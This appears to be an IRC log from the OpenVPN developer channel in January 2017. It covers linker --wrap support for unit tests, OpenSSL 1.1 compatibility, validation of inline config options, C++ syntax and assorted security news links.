<@cron2> not sure if MacOS uses lld or yet something else 15:58 <@cron2> $ ld -v 15:58 <@cron2> @(#)PROGRAM:ld PROJECT:ld64-264.3.102 15:58 <@cron2> configured to support archs: armv6 armv7 armv7s arm64 i386 x86_64 x86_64h armv6m armv7k armv7m armv7em (tvOS) 15:58 <@dazo> m-a: it is a couple of our unit tests which depends on it, not cmocka itself 15:59 < m-a> after MacOS got in the way Sunday morning *NOT* displaying folders in Finder (the MacOS file explorer) on an SDXC memory card but trying to hide it behind quicktime, I'm fairly certain I don't want that overpriced lifestyle garbage anywhere, and wouldn't care about cmocka blow up and instead let Apple clean up all the mess they make. 15:59 <@dazo> cron2: https://drewdevault.com/2016/07/19/Using-Wl-wrap-for-mocking-in-C.html ... one of the examples on the net (referencing lld) 15:59 <@vpnHelper> Title: Using -Wl,–wrap for mocking in C - Drew DeVault’s Blog (at drewdevault.com) 15:59 <@dazo> m-a: hehe ... well, clang is a pretty decent compiler though ;-) 15:59 <@dazo> (for more platforms ;-)) 16:00 < m-a> yeah, but only 90% there 16:00 < m-a> I appreciate it and use it though, on Linux and FreeBSD 16:00 <@dazo> :) 16:00 <@syzzer> yeah --wrap works on llvm on the linux hosts on travis 16:00 <@syzzer> just not on osx 16:00 <@dazo> okay, so then it is either some weird things on the osx builds of llvm, or wrong version 16:01 <@cron2> dazo: or not llvm ld at all 16:01 < m-a> WTH is the cmocka documentation about skipping tests? 16:01 <@dazo> yeah, true 16:01 <@syzzer> so maybe configure should just have a 'does ld grok --wrap' test, and expose the result to automake? 16:01 <@cron2> "have_gnu_ld=yes" does that nicely 16:01 <@syzzer> s/automake/make/ 16:02 <@plaisthos> cron2: I think it is apple linker (or something like that) 16:02 <@syzzer> cron2: that also disables the test for linux llvm, even though it does grok --wrap, right? 16:02 <@plaisthos> Apple might switch to llvm ld eventually, who knows? 16:03 <@cron2> syzzer: I have no machine to test that (llvm not using gnu ld). If it does, it's the wrong approach. 16:03 <@cron2> FreeBSD uses llvm/clang, but GNU ld 16:03 <@cron2> so, no problem there 16:03 <@syzzer> oh, llvm just calls gnu ld? 16:03 <@cron2> on FreeBSD, no idea about other options 16:03 <@syzzer> ok, I'll just shut up then :p 16:03 <@syzzer> yeah, make sense actually 16:04 <@plaisthos> https://opensource.apple.com/source/ld64/ld64-274.1/src/ld/ld.cpp.auto.html 16:04 <@vpnHelper> Title: ld.cpp (at opensource.apple.com) 16:04 <@cron2> but you're right: if we're going to encounter llvm ld "in the wild", we need to test for "does -lwrap work?" not for "is it GNU LD" 16:04 <@plaisthos> hm it is written in c++ 16:06 <@plaisthos> android also has the combination of clang+gnu ld 16:06 <@plaisthos> and gnu assembler or clang assembler depending on the platform 16:11 <@cron2> anyway, going to bed - I'm happy to find a much better patch in my mailbox tomorrow :-) - I do not need the commit, I just want green buildbots 16:12 <@dazo> interesting ... on my setup, when I configure CC=/usr/bin/clang and LD=/usr/bin/llvm-link .... Make ends up running this command line: 16:13 <@dazo> /bin/sh ../../../libtool --tag=CC --mode=link /usr/bin/clang -I../../../include -I/home/davids/devel/OpenVPN/openvpn/vendor/dist/include -I../../../src/openvpn -I../../../src/compat -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -std=c99 -lcmocka -L/home/davids/devel/OpenVPN/openvpn/vendor/dist/lib -Wl,-rpath,/home/davids/devel/OpenVPN/openvpn/vendor/dist/lib 16:13 <@dazo> -L../../../src/openvpn -Wl,--wrap=parse_line -lssl -lcrypto -o argv_testdriver argv_testdriver-test_argv.o argv_testdriver-mock_msg.o argv_testdriver-platform.o argv_testdriver-buffer.o argv_testdriver-argv.o 16:13 <@dazo> it uses /usr/bin/clang for the linking 16:13 <@plaisthos> yeah but clang might still call gnu ld 16:13 <@plaisthos> http://llvm.org/docs/CommandGuide/llvm-link.html 16:13 <@vpnHelper> Title: llvm-link - LLVM bitcode linker LLVM 4.0 documentation (at llvm.org) 16:13 <@plaisthos> llvm-link takes several LLVM bitcode files and links them together into a single LLVM bitcode file. It writes the output file to standard output, unless the -o option is used to specify a filename. 16:14 <@plaisthos> that does not sound like a normal linker 16:25 <@plaisthos> hm did we fly under the radar with the openvpn 2.4 release? 16:25 <@plaisthos> even heise.de has not picked up :0 16:30 <@syzzer> cron2: good night :) 16:30 <@syzzer> plaisthos: yeah, I've not seen much coverage either 16:30 <@syzzer> did mattock forget to notify the press? ;-_ 16:30 <@dazo> heh 16:31 <@dazo> probably a bad time to do a major release .... when most bored journalists are on holidays, and the rest are overworked with more pressing news :-P 16:32 <@dazo> plaisthos: when looking at llvm-link --help, it looks more like a normal linker ... but I believe you're right, clang is doing something funky under our noses in regards to the linking 17:17 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds] 17:21 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 20:34 < ordex> morning :) 20:59 <@ecrist> wrong again 20:59 <@ecrist> Mon Jan 9 20:59:54 CST 2017 21:00 <@ecrist> ;) 21:29 < ordex> eheh 21:29 < ordex> we won't ever agree --- Day changed Tue Jan 10 2017 00:12 <+krzee> [21:25] <AverageAdam> Sorry... here is the entire configure http://pastebin.com/WM5SrvRQ 00:12 <+krzee> [21:29] <AverageAdam> here is the full make output http://pastebin.com/1AsdUvY4 00:12 <+krzee> he'll be back 03:49 -!- siruf_ is now known as siruf 06:01 <@vpnHelper> RSS Update - tickets: #820: Compress manual doesn't list lz4-v2 <https://community.openvpn.net/openvpn/ticket/820> 06:07 <@vpnHelper> RSS Update - tickets: #821: proto udp prevents daemon start when ipv6 isnt configured <https://community.openvpn.net/openvpn/ticket/821> 09:18 <@dazo> krzee: on such issues, it is really valuable to get the output of 'uname -a' and the OS/distro and version of it 09:59 -!- test___ is now known as kitsune1 10:01 < kitsune1> krzee: [21:29] <AverageAdam> here is the full make output http://pastebin.com/1AsdUvY4 Looks like due to using unsupported openssl 1.1 -- see also https://community.openvpn.net/openvpn/ticket/802 10:01 <@vpnHelper> Title: #802 (crypto.c:843:32: error: invalid application of ‘sizeof’ to incomplete type ‘cipher_ctx_t {aka struct evp_cipher_ctx_st}’) – OpenVPN Community (at community.openvpn.net) 10:06 <@cron2> yep, we do not support 1.1 10:41 <@dazo> kitsune1: on systems which ships with openssl 1.1, it might be an easier path to switch to mbedtls currently (even though, it is not as feature rich as openssl) ... yes, that can have challenges as well, but at least it builds ... I've done successful builds with mbedtls-2.3.x 10:41 <@dazo> (which is the latest stable release, iirc) 10:43 <@ecrist> is there a reason we don't support 1.1, other than developer time to implement? 10:43 <@dazo> nope, developer time needed ... and a way to best find a way to support v1.0 and v1.1 in parallel 10:44 <@dazo> s/d a way /d/ 10:50 <@cron2> 1.1 is sufficiently different if you do non-trival things that folks like OpenSSH have flatly refused doing so... 10:50 < kitsune1> dazo: its not me who is using openssl -- i was responding to krzee or was it AverageAdam? 10:50 * cron2 wonders how complicated it would be for us 10:51 <@dazo> cron2: in "worst" case, we could add it as a separate ssl module ... --with-crypto-library=openssl11 10:52 <@dazo> (I doubt openssh have that possibility) 10:52 <@ecrist> it's AverageAdam that ran in to this last night 10:52 <@ecrist> or as ordex would say, this morning 10:53 <@dazo> I'd prefer it to be auto-detected at build time and that our current openssl implementation supports both ... but if it ends up making it a rats nest of #ifdefs .... a separate crypto module is probably cleaner 10:54 <@dazo> (and with a separate crypto module, ripping out openssl 1.0, when that is reasonable in the future ... it will be much easier to do so) 11:38 <+krzee> dazo: i see, he was on debian master 11:38 <@dazo> krzee: ah, right ... and with the openssl-1.1 details from kitsune1, all the pieces fell into place :) 11:39 <+krzee> nice, and i learned something new (re 1.1) 11:39 <@dazo> :) 11:39 <@dazo> hahaha .... http://www.cw6sandiego.com/news-anchor-sets-off-alexa-devices-around-san-diego-ordering-unwanted-dollhouses/ 11:40 <@dazo> Amazon Echo/Alexa have some corner cases :-P 11:41 * dazo will never want to have voice controlled devices, especially if they're connected to the Internet 12:18 <+krzee> ^^ very much agreed 13:00 <@ecrist> even Siri? 13:01 <@ecrist> to be honest, Siri is relatively useless 13:01 <@ecrist> it's entertaining when I'm drinking 13:24 <@dazo> Imagine nachspiel after a party .... and people start calling out "Alexa, get me a beer!" ........ or exchange 'beer' with more embarrassing products ..... 13:26 <@dazo> (I would be very much tempted doing that ... just to prove the badness of such gadgets) 13:28 <@ecrist> dazo: there was a case here in California where a news reporter said, "Alexa ordered a dollhouse" and thousands of Alexa devices attempted to order dollhouses. 13:29 <@dazo> yeah, I know ... that's the URL a few lines up :) 13:29 <@ecrist> oh, derp 13:29 <@dazo> :) 13:29 <@ecrist> nobody scrolls up anymore, do they? 13:29 <@dazo> lol ... especially not the old guys! :-P 13:30 <@ecrist> that hurts, man 13:30 * dazo ducks and hides ... 13:30 <@dazo> (I'm not sure whom of us is oldest, though .....) 13:32 <@dazo> ecrist: btw ... is it your daytime job who have been caught by a Matt Greene security audit lately? 13:33 <@ecrist> I'm not catching the reference. 13:33 <@dazo> https://twitter.com/matthew_d_green/status/818816372637650948 13:34 <@ecrist> ah, that 13:35 <@ecrist> I'm not involved with that particular product line, but my job does involve cybersecurity on SJM products. 13:36 <@dazo> ahh, cool ... well, not cool if needing to sort out such mess .... and it proves that security needs to be implemented very early in any project 13:37 <@ecrist> I work on much larger systems that are more PC-like, centered around cardiovascular ablation and electrophysiology catheter systems. 13:38 <@dazo> I understood the first half of that sentence .... :-P 13:38 <@ecrist> Each of the ~10 products in my dept has a SME (subject matter expert) for the device security profile, and I'm the "overall" SME that helps cover the larger picture of all devices 13:39 <@ecrist> ablation == uses RF to create scar tissue in the heart, changing the impedance of the muscle, correcting arrhythmia 13:39 <@dazo> that is really cool :) I'd love to do similar things as well one time in the future .... if I get bored of hacking and coding :) 13:40 <@ecrist> The team here is really neat. I have a Ph D in mathematics three cubes away from me 13:40 <@ecrist> the larger team is all software and hardware engineers 13:42 <@dazo> syzzer: seen this one? http://seclists.org/oss-sec/2017/q1/52 13:42 <@vpnHelper> Title: oss-sec: CVE-2016-7056 ECDSA P-256 timing attack key recovery (OpenSSL, LibreSSL, BoringSSL) (at seclists.org) 14:06 <@syzzer> dazo: no, I hadn't. That's pretty bad... 14:21 <@syzzer> just skimmed the paper, looks like someone who really wants to would be able to steal P-256 keys by running some code in everyones remote-code-execution-by-design module (aka your browsers javascript engine) 14:36 <+krzee> 'someone who really wants to' :D 14:54 <@cron2> that sounds nasty. I will object to any attempt to add a javascript engine to OpenVPN :) 14:54 <@syzzer> won't help you if you use a browser ;) 14:55 <@syzzer> all the attacker needs is code execution 'on the same machine' 14:55 <@cron2> uh 14:55 <@syzzer> yes. hence my cynical remark about remote-code-execution engines. 14:56 * ecrist suggests a javascript-based plugin engine 14:56 <@ecrist> ooh, the other way around - an openvpn client written in javascript 14:57 <@syzzer> that's an amazing idea 14:57 <@syzzer> you could then do the server in node.js! 14:58 <@ecrist> that would be fine, until someon unpublishes some inane library 14:58 <@ecrist> and breaks all of node.js 14:59 <@dazo> lol 15:16 <@syzzer> cron2, dazo: can interest one of you in applying this already-ACKed patch: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13700.html 15:16 <@vpnHelper> Title: Re: [Openvpn-devel] [PATCH v2] More broadly enforce Allman style and braces-around-conditionals (at www.mail-archive.com) 18:21 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [Read error: Connection reset by peer] 18:21 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel --- Day changed Wed Jan 11 2017 03:36 <@cron2> syzer: if you have already recovered from yesterdays scare, here's a new one... https://twitter.com/matthew_d_green/status/818816372637650948 03:58 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 255 seconds] 04:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:05 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:22 < ordex> omg cron2 04:27 <@plaisthos> that is the same guy that will auditing OpenVPN 2.4 for PIA 07:20 <@dazo> plaisthos: well, not just PIA ... He is co-operating with the OSTIF audit as well 07:21 <@dazo> https://ostif.org/the-openvpn-fundraiser-has-hit-its-goal-work-on-the-audit-begins/ 07:46 <@plaisthos> yeah 07:46 <@plaisthos> that is good :) 07:50 <@dazo> Hehe ... "When you roll your own crypto" ... https://twitter.com/mshelton/status/818640536680693760 07:50 <@plaisthos> :) 07:52 <@dazo> cron2, ecrist, krzee .... https://lists.freebsd.org/pipermail/freebsd-security-notifications/2017-January/000305.html 07:52 <@vpnHelper> Title: FreeBSD Security Advisory FreeBSD-SA-17:01.openssh (at lists.freebsd.org) 07:53 <@ecrist> fun 07:53 <@dazo> not an easy one though 08:22 <@ecrist> well, the forum box is upgraded. 08:28 <@ecrist> cron2: do you still use phillip.secure-computing.net? 09:15 <@ecrist> well, I've upgraded it from FreeBSD 10.2-RELEASE to 10.3-RELEASE this morning. 09:33 <+krzee> also, who disables privilege separation? 09:33 <+krzee> but still, thank you for the link 10:03 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: ZNC 1.6.3 - http://znc.in] 10:11 <@cron2> ecrist: I do. Let me check if the servers restarted - not sure I ever added that to rc.local 10:12 <@cron2> ... I did not. Not they are running again 10:14 <@plaisthos> cron2: why? 10:14 <@ecrist> Well, it's up to day for the 10.x release now. 10:15 <@ecrist> Are we doing anything on 11.0 yet? 10:20 <@ecrist> I think I killed krzee 10:21 <@ecrist> well, his session 10:29 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:25 < ordex> ecrist: don't be cruel ;P 11:37 <@ecrist> he knew it was coming. I upgraded the server he bounces from. 12:07 <@cron2> plaisthos: what? 12:07 <@cron2> a, that should have been "No*w* they are running again" 12:14 <@plaisthos> cron2: why do you disable priv seperation? 12:19 <@cron2> what? nah, that's a misunderstanding :-) - I neglected to start the openvpn test servers from rc.local, had nothing to do with ssh and privsep 12:20 <@plaisthos> ah 12:20 <@cron2> my reply was to ecrist ("do you still use that box") not to krzee :) 12:20 <@plaisthos> ) 12:20 <@plaisthos> yeah, misread that 12:53 -!- sshow is now known as sshow1 12:53 -!- sshow1 is now known as sshow 20:04 < ordex> morning :) or evening ! 20:04 < ordex> this time I play the jollycard 20:06 <@vpnHelper> RSS Update - gitrepo: management: Remove a redundant #ifdef block <https://github.com/OpenVPN/openvpn/commit/7b02cc2aa8318dc8f2677064dadcbec295b2f937> || management: >REMOTE operation would overwrite ce change indicator <https://github.com/OpenVPN/openvpn/commit/e81f313a71e548638d9e9679226ee84b3b614f13> || man: fix formatting for alternative option <https://github.com/OpenVPN/openvpn/commit/d0d8a4b5f875bc802117647b20a3caa6d4fdb375> 20:18 < i336> hi, I have an odd/perplexing problem. After some amount of time (maybe 20-40 mins, haven't yet narrowed it down) I cannot connect to the management interface over a UNIX domain socket. Blocking connection hangs forever, nonblocking returns EAGAIN and writes return Invalid Argument. 20:18 < i336> what could be happening here? 20:19 < i336> more specifically, what/where can I poke to elicit hopefully-interesting/informative responses? 20:42 < ordex> dazo: what's wrong with inlining a dll :-P 22:03 <@ecrist> i336: is something else connecting to the interface? --- Day changed Thu Jan 12 2017 02:27 <@vpnHelper> RSS Update - gitrepo: management: Remove a redundant #ifdef block <https://github.com/OpenVPN/openvpn/commit/7b02cc2aa8318dc8f2677064dadcbec295b2f937> || management: >REMOTE operation would overwrite ce change indicator <https://github.com/OpenVPN/openvpn/commit/e81f313a71e548638d9e9679226ee84b3b614f13> || man: fix formatting for alternative option <https://github.com/OpenVPN/openvpn/commit/d0d8a4b5f875bc802117647b20a3caa6d4fdb375> 07:58 <@mattock> ah, vertical tabs in Pidgin... now there's a chance people will reach me using IMs again... 08:07 < ordex> vertical tab ? 08:07 < ordex> what version is that ? 08:10 < ordex> ah even with mine :P 08:45 <@mattock> ordex: I had never looked at Preferences closely enough 08:45 <@mattock> I thought tabs were always horizontal in Pidgin, but fortunately not 08:46 < ordex> I just tried, but feels strange to me - if you have several they are hidden right away and you need to scroll 08:46 < ordex> but glad you found it :) 08:51 <@mattock> well in my case I missed almost all private messages because they appeared hidden on the right 08:52 <@mattock> now I see all tabs at glance (but yes, it looks a bit weird) 09:10 < ordex> mattock: but you mean having the tabs on the side (right or left) but still with the tab title being horizontal ? 09:10 < ordex> because you can also make the text vertical, but then you end up losing messages again, I think 09:45 <@mattock> ordex: yeah, tab title is horizontal, but tabs are aligned vertically (in a column) 09:57 < ordex> yeah 11:09 < ordex> syzzer: I should probably dig more and answer this question myself, but I'll shoot it here first: in options.c, why do we check the CRL file with check_file_access_chroot() while CA, cert, etc, are checked with check_file_access() only ? 11:20 < ordex> ah probably because the CRL has to be parsed at runtime (after chroot()) 11:20 < ordex> that'd make sense 11:21 < ordex> therefore I am creating check_file_access_inline() and check_file_access_chroot_inline() 12:42 <@syzzer> ordex: indeed :) 14:55 <@vpnHelper> RSS Update - tickets: #822: Cannot load certificate after password change on AD <https://community.openvpn.net/openvpn/ticket/822> 23:58 < ordex> syzzer: you comment about "we could error out if (inline == true)" makes me think that we should probably introduce this check *for every* option that we expect not to be inline'd 23:58 < ordex> otherwise we may endup in code path that we don't expect right now 23:59 < ordex> *paths 23:59 < ordex> with the current code we have some osrt of checks based on p[1] && !p[2] and similar. but with the new logic, these checks won't be enough because there is no difference in p[] for inline'd vs non-inline'd 23:59 < ordex> no? --- Day changed Fri Jan 13 2017 00:01 < ordex> mh 01:38 -!- cron2_ [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 01:38 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 01:38 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 255 seconds] 01:39 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Ping timeout: 255 seconds] 01:44 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:44 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 255 seconds] 02:13 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:13 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 03:07 < ordex> yeah, if we haveno explicit check, the parser will parse even <dev>tun</dev> as valid and the code will fail later ... but who knows what can of bugs I am opening this way 03:07 < ordex> this should be rejected as invalid option 04:18 <@plaisthos> ordex: yes it will 04:48 < ordex> plaisthos: I wrote so much garbage that I lost track of what you were answering to :D sorry 05:22 <@plaisthos> ordex: openvpn parser will happily parse <dev>tun</dev> 05:23 < ordex> plaisthos: withthe current code it fails 05:24 < ordex> I think - I try again 05:24 < ordex> Options error: Unrecognized option or missing parameter(s) in server.conf:5: dev>tun</dev (2.3.12) 05:24 < ordex> Use --help for more information. 05:24 < ordex> if I put everything on 3 lines, then it just skips it 05:25 < ordex> because p[] have a non-expected arrangment (I think) 05:27 < ordex> with my patch it works, but I have to remove the final \n..however, not sure this is useful 05:32 <@plaisthos> ordex: ah okay, yeah because it does not like [2] to be filled 05:33 < ordex> right 05:33 < ordex> with my patch I am moving the content always to p[1], therefore it would work (Assuming I remove the \n at the end of the line), but I am not sure we want to support this 05:33 < ordex> we rather want to fail this 07:39 <@mattock> chocolatey repos now have OpenVPN 2.4.0: https://chocolatey.org/packages/openvpn 07:39 <@vpnHelper> Title: Chocolatey Gallery | OpenVPN Community 2.4.0 (at chocolatey.org) 07:45 <@mattock> also, I fixed the Ubuntu 12.04 build problems with mbedtls builds (cmake update did the trick) 08:16 <@plaisthos> nice 08:57 < ordex> syzzer: any opinion on the above problem? should I put a !is_inline guard for every option that is not supposed to be inline'd ? (a lot of them) 08:58 <@dazo> wouldn't it make more sense to do the opposite? 08:59 <@dazo> (disallow inline by default, only enable where it will work ... which would be --tls-auth, --tls-crypt, --ca, --key, --cert, --dh, --pkcs12 ... I think that's about it) 08:59 < ordex> well, the problem is that the other options are valid for both is_inline and !is_inline 09:00 < ordex> mh 09:00 < ordex> I'd like to take that path too 09:01 <@dazo> when you're actually improving the inline stuff ...let's make it proper ;-) ... well, I would expect changes to be more invasive though 09:01 < ordex> but I falied to see how to get there - will spend some more time tomorrow, with a fresher brain :) 09:01 < ordex> yap 09:02 <@dazo> I have to say though, the option parsing is devilish clever and can be confusing ... as it can be (and is) reused several places throughout the code 09:02 <@dazo> so I do understand it is a harder task 09:03 <@dazo> this code is actually James' code in a nutshell ... still 10 years after it's incarnation, we still discover new possibilities and features hidden in it ;-) 09:38 <@plaisthos> dazo: + connection + crl 09:39 <@plaisthos> also connection is inline only 09:40 <@plaisthos> my app also the same approach as James' code 09:40 <@plaisthos> embed into the filename string the embedded/or not 09:40 <@plaisthos> :) 09:40 <@plaisthos> For thing that the app itself imported it even saves metainfo [[imported: orginal filename]] 09:45 <@dazo> plaisthos: ahh, true <connection> uses the inline "format", I didn't think of that one ... but that doesn't need to be tagged as an inline file? That goes into some option connection entry structs, right? 09:45 <@dazo> plaisthos: but I did forget about --crl, indeed! 09:45 <@dazo> ordex: ^^ 10:29 < ordex> yap 10:29 < ordex> ! 10:35 < ordex> dazo: I think I will create a helper function check_option_inline_allowed() which will make sure that if is_inline is true, then the option name has to be one of the expected ones 10:35 < ordex> let's see 10:36 <@plaisthos> dazo: well currently it is parsed as any other inline option 10:36 <@dazo> without having the complete overview in my head now, it does sound reasonable 10:36 <@plaisthos> and then just p[2] is parsed as a new config file 10:36 < ordex> plaisthos: talking about <connection> ? 10:36 <@dazo> yeah 10:36 <@plaisthos> that just happens to operate on a different options/connection entry pointer 10:36 <@plaisthos> yes 10:36 < ordex> yap 10:36 <@dazo> yeah, that's right! 10:36 < ordex> that's smart :) 10:37 <@plaisthos> also http-proxy-user-password 10:37 <@plaisthos> or something like that 10:37 <@dazo> as I said, the option parser is devilish clever ;-) 10:37 <@plaisthos> :p 10:37 < ordex> eheh 10:37 <@plaisthos> and we wanted to make auth-user-pass inline 10:37 <@plaisthos> <auth-user-pass> 10:37 <@plaisthos> user 10:37 <@plaisthos> pass 10:37 <@plaisthos> </..> 10:38 <@vpnHelper> RSS Update - gitrepo: management: Remove a redundant #ifdef block <https://github.com/OpenVPN/openvpn/commit/7b02cc2aa8318dc8f2677064dadcbec295b2f937> || management: >REMOTE operation would overwrite ce change indicator <https://github.com/OpenVPN/openvpn/commit/e81f313a71e548638d9e9679226ee84b3b614f13> || man: fix formatting for alternative option <https://github.com/OpenVPN/openvpn/commit/d0d8a4b5f875bc802117647b20a3caa6d4fdb375> 10:38 <@plaisthos> also the new tsl-cryt option is inlinable 10:39 <@dazo> wow ... that was a late notice .... I pushed that last night, iirc 10:39 < ordex> what I don't like about options.c is the length of add_option() ... 10:39 <@cron2_> dazo: vpnhelper already told us, but seems to have forgotten :) 10:39 <@dazo> ahh :) 10:41 <@dazo> ordex: I completely agree .... I have so mixed feelings about options.c and the option parser ... it's like one of those really amazing modern art paintings you might be able to afford but you can't make up your mind if you want it or not .... 10:41 < ordex> :D 10:46 <@plaisthos> I consired replacing that brutal if cascade by an array that would allow to parse 95% of all options 10:46 <@plaisthos> but I never wanted to actually start that 10:47 <@dazo> :) 10:47 <@plaisthos> and I ended up for ics-openvpn with a parser that is similar to OpenVPN itself 10:48 <@dazo> heh 10:48 <@cron2_> linking openvpn options.c to a java program would be really amazing dark magic 10:48 <@cron2_> "fully compatible parser!" 10:49 <@dazo> but you might need to link in misc.c along the way, which pulls in the rest of openvpn, so suddenly you have openvpn as a java library instead :-P 10:50 <@plaisthos> cron2_: nah, there is JNI for that ;p 10:50 <@plaisthos> https://github.com/schwabe/ics-openvpn/blob/master/main/src/main/java/de/blinkt/openvpn/core/ConfigParser.java is my parser that also has grown to parse a lot of weirdnesses 10:51 <@vpnHelper> Title: ics-openvpn/ConfigParser.java at master · schwabe/ics-openvpn · GitHub (at github.com) 11:02 < ordex> dazo: I created something like this as a safe guard: https://github.com/ordex/openvpn/blob/fbe404b9aab68be3fcb4d30a3bcbdd82a49d3b43/src/openvpn/options.c#L4953 11:02 <@vpnHelper> Title: openvpn/options.c at fbe404b9aab68be3fcb4d30a3bcbdd82a49d3b43 · ordex/openvpn · GitHub (at github.com) 11:02 < ordex> this is what will allow or disallow is_inline to be used 11:03 < ordex> this way we have a strong check at the beginning of add_option() and we are sure to avoid misbehaviours 11:07 <@dazo> yeah, that can work 11:08 <@dazo> not the prettiest approach, but probably the best one without having to rewrite more or less the rest of add_option() 11:08 <@dazo> the VERIFY_PERMISSION() approach could also be used to ensure it is called in the right context ... have you looked into that one? 11:17 < ordex> mhhh no 11:17 < ordex> and yeah, i don't think it this approach is goodlooking, but it's the least intrusive 11:20 < ordex> dazo: just had a look - not sure how I could use it here. I should pass something like "is_inline & OPT_P_INLINE" maybe ? this way, if is_inline is true, the macro will check if this permission is granted ? 11:20 < ordex> but this would mean modifying *every* option :D if it's better, I can do it 11:22 < ordex> mhh, although now that I look deeper, I am not sure this is suitable for our case. the macro checks for the current context 11:27 < ordex> anyway, time for bed :) ttys guys! 11:32 <@dazo> ordex: I'll have a deeper look next week ... but, yeah, I meant adding OPT_P_INLINE to only those "few" options which supports inline .... and then have verify_permission() also receive the bool inline flag ... if !OPT_P_INLINE and the inline flag is set, then fail 11:33 < ordex> mh, this could be done by simply modifying the macro definition instead of editing each and every macro invocation 11:33 < ordex> I like that :) 11:33 < ordex> !! 11:34 <@dazo> :) 11:44 < ordex> https://github.com/ordex/openvpn/blob/56807df9f7c005d4f89c754b6f0ed3b954983a4b/src/openvpn/options.c#L4831 << yeah this is way better :) 11:44 <@vpnHelper> Title: openvpn/options.c at 56807df9f7c005d4f89c754b6f0ed3b954983a4b · ordex/openvpn · GitHub (at github.com) 11:45 < ordex> now I can go to bed for real ;P 11:45 <@dazo> :) 11:45 <@dazo> g'night! 12:14 <@cron2_> http://www.networkworld.com/article/3156748/computers/10-amazing-raspberry-pi-clusters.html 12:14 <@vpnHelper> Title: 10 amazing Raspberry Pi clusters | Network World (at www.networkworld.com) 12:20 <@dazo> I wonder what the cost/performance ratio is on such setups compared to other clusters with more traditional setups with same performance specs 13:25 <@cron2_> a single 12-core xeon will most likely dance circles around the 200-PI-cluster :-) 13:25 <@cron2_> but if you want to pose, or experiment with cluster without paying 24 times big bucks... 13:26 <@cron2_> (a serious big bucks server with plenty of RAM might actually be about as expensive as the 200-PI cluster in the end...) 13:27 <@dazo> yeah, that's what I'm wondering ... where is the break-even point? :) 13:59 <@dazo> gee ... C++ is truly a dirty language ... so much worse than what I recall from when I did a little bit of it 17 years ago .... 13:59 <@dazo> class X { 13:59 <@dazo> int a, b, i, j; 13:59 <@dazo> public: 13:59 <@dazo> const int& r; 13:59 <@dazo> X(int i) 13:59 <@dazo> : r(a) // initializes X::r to refer to X::a 13:59 <@dazo> , b{i} // initializes X::b to the value of the parameter i 13:59 <@dazo> , i(i) // initializes X::i to the value of the parameter i 13:59 <@dazo> , j(this->i) // initializes X::j to the value of X::i 13:59 <@dazo> { } 13:59 <@dazo> }; 14:02 <@dazo> in particular the r(a) is a surprise to me .... () doesn't necessarily mean it's related to a function or method 14:03 <@dazo> j(this->i) too for that matter 14:42 <@plaisthos> dazo: initiser list 14:42 <@plaisthos> it is standard c++ stuff 14:42 <@plaisthos> dazo: http://www.cprogramming.com/tutorial/initialization-lists-c++.html 14:42 <@vpnHelper> Title: Initialization Lists in C++ - Cprogramming.com (at www.cprogramming.com) 14:43 <@plaisthos> basically initalization of members 14:45 <@dazo> yeah, it's just the syntax of doing that is ... fairly odd ... using () instead of = .... the latter would make more sense in my head ... but I have used so many other languages since last time I really did C++ last time, so I need to sort out C++ once again :) 14:45 <@plaisthos> dazo: you can call constructor of inherated classes there 14:45 <@plaisthos> for basic types it is odd 14:46 <@dazo> right, calling constructors makes more sense again :) 14:46 <@plaisthos> and you can to int foo(5); iirc 14:46 <@plaisthos> but nobody does that :D 14:46 <@dazo> exactly .... I've seen some examples of that 14:47 <@dazo> so .... in C++, everything seems to be an object .... a detail I had long forgotten :) 14:49 <@dazo> (I'm making the openvpn3 code compile against the latest upstream asio git version .... and openvpn3 currently uses some now deprecated APIs) --- Log closed Sat Jan 14 01:12:46 2017 --- Log opened Sat Jan 14 11:54:44 2017 11:54 -!- Irssi: #openvpn-devel: Total of 28 nicks [6 ops, 0 halfops, 1 voices, 21 normal] 11:54 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 11:54 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 14:21 -!- FederationOfNULL is now known as [0xAA] 14:27 -!- FederationOfNULL is now known as [0xAA] 14:58 -!- FederationOfNULL is now known as [0xAA] 15:07 -!- FederationOfNULL is now known as [0xAA] --- Day changed Sun Jan 15 2017 03:46 <@syzzer> ordex: just sent you some more... O-) 03:46 < ordex> :D great ! 03:49 < ordex> darn, still some style errors - I need to make some style exercise, eheh 03:55 <@syzzer> hehe, I personally liked the redundant return value the best :p 04:25 < ordex> :D 06:41 < ordex> syzzer: is ssl_openssl/mbedtls.c compiled when ENABLE_CRYPTO is not defined ? 06:41 < ordex> ah, the ifdef is at the top of the file :) 07:35 < ordex> syzzer: dazo: is it ok if I put a new line between a variable declaration and the rest of the code, even for declarations within an if-block/for-loop/etc ? 07:35 < ordex> I see in the code right now they are glued together, but I usually prefer a newline between variables and code, wherever the declaration is made 07:35 <@syzzer> ordex: we do not have stringent rules for that 07:35 < ordex> ok 07:35 <@syzzer> so if it improves readability, it's good :) 07:36 < ordex> oky :) 10:05 < danhunsaker> In that case, stringent rule to require it makes sense from where I'm typing. ;) 14:54 * tincantek slypknot wonders if 